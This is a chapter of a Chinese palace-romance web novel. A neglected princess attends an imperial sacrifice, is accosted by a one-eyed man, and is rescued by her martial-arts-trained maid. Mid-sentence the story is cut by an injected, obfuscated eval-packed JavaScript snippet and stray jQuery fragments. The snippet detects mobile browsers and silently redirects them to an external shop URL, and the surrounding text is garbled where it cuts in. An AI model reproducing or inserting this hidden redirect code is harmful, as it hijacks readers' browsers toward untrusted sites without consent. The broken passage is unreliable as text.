薛玉贞就站在这片死水最不起眼的角落里。
她的位置,在坛下第三层偏西,紧挨着几个同样面色木然,连封号都叫不完整的宗室旁支女眷。
身上这件赶制出来的青翟礼衣,尺寸微宽,颜色也比别的皇子身上的天青黯淡了好几个度。
头顶的九树花钗冠沉甸甸地压着,薛玉贞猜测,自己这九树怕是皇兄们连十二树一半的金丝用量都未必有。
薛玉贞垂着眼,盯着自己鞋尖前一块微微凸起的石板,没人会期待她做什么,也没人会多看她一眼。
连方才引导的女官,对着名册核对她位置时,都顿了一下,才不甚确定地低声道:“是……五公主?请随奴婢来。”
也好,乐得清静。薛玉贞微微动了动冻得有些发僵的脚趾。
“吉时到——!”太常卿那高昂而极具穿透力的唱赞声划破寂静的天空。
火柴点燃,滚滚浓烟带着松柏的焦香气味直冲尚未大亮的天际。
乐声庄严肃穆地响起,皇帝率领最前排的太子及亲王们,开始行三跪九叩的大礼。
动作整齐划一,如同精密的提线木偶。
薛玉贞跟着人群跪下,叩首,起身,再跪下。
她的心思早就飘远了,老早就起来梳妆打扮了,现在只盼着这冗长的仪式快点结束,回去好让御膳房偷偷煨碗热羹。
奠玉帛的环节到了。
上前执行这殊荣的是刚满十四岁不久,备受宠爱的七公主。
她的皇妹,薛燕柔。
她今日被精心打扮得玉雪可爱,在帝后鼓励的目光和所有人善意的注视下,捧着玉盘,走得不快但稳稳当当。
薛燕柔按照顺序进俎,初献,读祝文。祝文的辞藻华丽至极,歌颂着天命所归,河清海晏。
薛玉贞听着,却只觉得那声音嗡嗡的,像是隔着一层厚厚的水,听不太透彻。
念完以后,薛燕柔敛衽,双手合于胸前,深深地拜了下去,额头几乎触到地面。
华服委地,珠翠轻响。
拜毕,七公主缓缓起身,依旧垂着眼,姿态完美地转身,沿着原路,在无数嘉许的目光中,一步步走回自己的位置。
直到站定,被皇后温柔地轻抚了一下后背,她才悄悄松了那口一直提着的气,肩膀几不可查地松弛下来。
望燎,是祭祀最后的篇章,也是将人间心意彻底送达天听的最后一环。
太常卿激昂而悠长的唱赞再次响起:“礼成,望燎!”
乐工们奏响了安和之章。曲调与前番的庄严古奥不同,带着一丝如释重负的悠扬,仿若送别神灵的云车鸾驾。
祭坛之下,巨大的铜质燎炉早已被引燃,炉内铺着干燥的香草与松木。几名身着玄端礼服的祝官,神情肃穆,将方才祭祀中最重要的信物,以及一束束代表五谷的嘉禾双手捧起,依次缓步送入熊熊燃烧的燎炉之中。
火焰骤然升高。
橘红色的火舌贪婪地舔舐着那些承载着无数祈愿的物件,祝版上墨迹淋漓的锦绣文字在火焰中逐渐卷曲变得焦黑,最后化为飞灰,光洁的玉帛瞬间被火苗吞没,发出“噼啪”声,那抹象征苍穹的青色在极致的高温中只挣扎了一瞬,便彻底消失。
薛玉贞收回视线,转了转发酸的脖颈,意外发现有一道锐利的目光盯着自己。
她顺势看回去,是一个蒙着右眼的高大男子。
两人目光相对,他立即将头扭向一旁。
薛玉贞觉得莫名其妙。
直至快要晌午,冗长的祭祀大典总算结束了,站了一上午的薛玉贞和梅晓拖着疲惫的身子走在路上。
“好饿呀,梅晓去御膳房叫福云给咱们送些吃的来。”薛玉贞早已饥肠辘辘,准备大吃一顿。
“好嘞,奴这就去。”正巧前面那个岔道就通向御膳房,两人就此分开。
绛雪庭偏远,附近几乎没有后妃居住,所以这条道上偶尔有太监和宫女经过,大部分时间都空无一人,很寂静。
薛玉贞慢慢走着,隐约听到身后传来了脚步声,那脚步声踏实沉稳,回荡在寂静中,应该是个男子。
她立刻回头,却什么也没有发现。
薛玉贞十分疑惑,怎么会没有人呢,她耳朵向来很敏锐,不可能听错的。
要么,就是他人故意藏起来了。想到这儿薛玉贞脊背发凉,准备快步离开。
忽然,从身后多出一双手钳制住她的双臂:“别乱动!”像是从后面被人抱住一般。
因为力量的悬殊,她瞬间动弹不得。
薛玉贞一颗心都快要跳出来了,但还是强迫自己冷静下来,她扭头瞥了一眼身后,正是刚才在祭祀大典上的蒙眼男子。
“我是圣上亲女五公主薛玉贞,你要是敢伤害我,我保证会让你吃不了兜着走!”薛玉贞亮出身份想要唬住对方。
“公主?那我还是天王老子呢!”他嗤笑一声。
“不过这么漂亮的小娘子,我怎么忍心伤害你呢,就是玩玩而已嘛。”蒙眼男子邪笑一声,把头凑近她雪白的脖颈。
薛玉贞嫌弃地别开头,绷紧了身子。
今日真是倒了大霉,竟然碰到了一个登徒子。
薛玉贞眼里满是恐惧,脑子里也一片空白,什么办法也想不出来,只能凭借本能大喊:“救命啊!救命……”
用尽全力,石破天惊。
蒙眼男子见状猛地撒手转去捂她的嘴,薛玉贞的手臂瞬间脱开束缚,开始发疯般挣扎扭动。
“不听话是吧?我可要让你尝尝……啊!”
一道人影伴着破风声从侧面疾扫而来,精准狠厉地踢在蒙眼男子小腿骨上。
薛玉贞还未看清发生了什么,只见他整张脸瞬间扭曲,捂着小腿轰然跌坐在地,疼得浑身发抖、面色死白。
是梅晓。
她张开双臂将薛玉贞严严实实护在身后,背脊挺得笔直如松。
“想碰殿下,先过我这关再说!”梅晓气势汹汹。
话音未落,蒙眼男子竟忍痛暴起前扑,伸手欲抓小梅脚踝。
梅晓眉梢都未动一下,左脚轻点地面侧移半步,右腿已如鞭子般凌厉抽出,狠狠踹在他肩窝处。这一脚劲道十足,踹得他整个人向后翻滚,后背重重撞在墙上。
仅此一招,梅晓心中已有定论:此人出手全无章法,气息混乱,根本不通武艺。
她眼底寒光微敛,看来不必放在心上。
“就这点本事?”她话音方落,身影已如鬼魅前逼。蒙眼男子还没来得及爬起,眼前又是一花,梅晓旋身而起,裙摆划开一道利落的弧线,第二记飞踢已重重落在他胸口。
“砰!”
这一击将他彻底钉在地上。他蜷缩着咳喘,眼前金星乱迸,只觉五脏六腑都移了位,连忙求饶道:“求女侠饶命,我再也不敢了!”
今日能来参加祭祀大典的都是有头有脸的大人物,虽不清楚这个蒙眼男子的身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209331|197379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但一定非富即贵。
梅晓也不希望招来祸端,只好放过了他:“还不快滚!”
蒙眼男子狼狈离开,很快便消失在视野之中。
“殿下没事吧?”梅晓扶起薛玉贞,关心道。
梅晓听见她的那声呼救,立马原路折返回来,好在来得及时,才没让那恶人得逞。
险些被登徒子给玷污,她此刻还心有余悸。
一滴清泪从薛玉贞的脸上滑落,她用手抹去,硬挤出一个笑脸来:“谢谢你,梅晓。”
薛玉贞闭了闭眼,调整好情绪才振作道:“只是今日这个好色的恶鬼,我绝不会放过!”
她已经不是当初那个任谁都可以凌辱的懦弱之人,就算他是位高权重的皇亲贵胄,她也要为自己讨回公道。
梅晓忙拿出手绢给她擦了擦脸,又拉起她的手:“殿下牵着我的手吧,以后有我在,谁也别想伤害你!”
“好。”薛玉贞发自内心地扬起嘴角。
经历这么一出,薛玉贞决定好好犒劳梅晓一顿,向御膳房搜刮来了杏酪浇樱、芙蓉白玉羹、南酒糟蒸鸭、还有鹿筋火腿煨麂子、荠菜山鸡片和最后一道蒿秆湖虾仁。
主仆俩把今个发生的不愉快抛之脑后,大快朵颐起来。
吃饱喝足之后,薛玉贞安然午睡,再次睁开眼睛时,已经日落西山。
薛玉贞揉揉惺忪的睡眼,突然想起来今日还未给呼延灼上课呢,往日这个时候,他们已经开始一会儿了。
“梅晓。”她朝着屋外喊道。
梅晓推门而入,“怎么了殿下。”
“阿灼今日来了吗?是我糊涂,竟睡过头了。”薛玉贞心虚道。
“这个嘛,呼延公子来是来了,只是他听说您在休息就又走了。”梅晓实话实说。
“这样啊。”
她前日专门给他交代说今日要教他至关重要的技法,让他一定要仔细着点,这下只能明日再说了。
不敢想他一定满怀期待地来找她,她却在呼呼大睡,他那时是怎么想的?会不会觉得她在耍他?
薛玉贞的脸上青一阵白一阵,十分悔不当初。
被放鸽子的呼延灼其实并不在意这个,谁没有睡过头的时候呢。
只是可惜了他提前研好的墨。
本着不浪费的原则,呼延灼又用它写了满了整整五张纸,写完时已经困得睁不开眼。
他打水洗漱一番,沉沉睡去。
绛雪庭里的烛火还未熄灭。
薛玉贞轻轻撒娇道:“梅晓,你今日陪我睡好不好?”
小时候薛玉贞怕黑,常常要梅晓在身边陪着她才能安心入睡。
梅晓犹豫道:“殿下这不好吧,要是传出去恐怕……”
薛玉贞撇了撇嘴:“随他们说去吧,反正又不会掉块肉。”
“好,既然殿下不怕,那奴婢自然也不能怕了。”梅晓应下。
时隔数年,主仆两人又躺在同一张床上,少了当初的稚气。
“梅晓,你觉得那个蒙眼的登徒子是什么身份?”
梅晓摇摇头:“殿下可有头绪?”
“我在文华阁曾听皇姐说过,长公主有个不成器的儿子,十岁时用弹弓打家奴取乐,却不小心打中自己右眼,自此落下残疾。”
“会不会就是……”
话还没完,薛玉贞发现身边人已经进入梦乡了。
她无奈笑了笑,还是等明日再细说这事吧。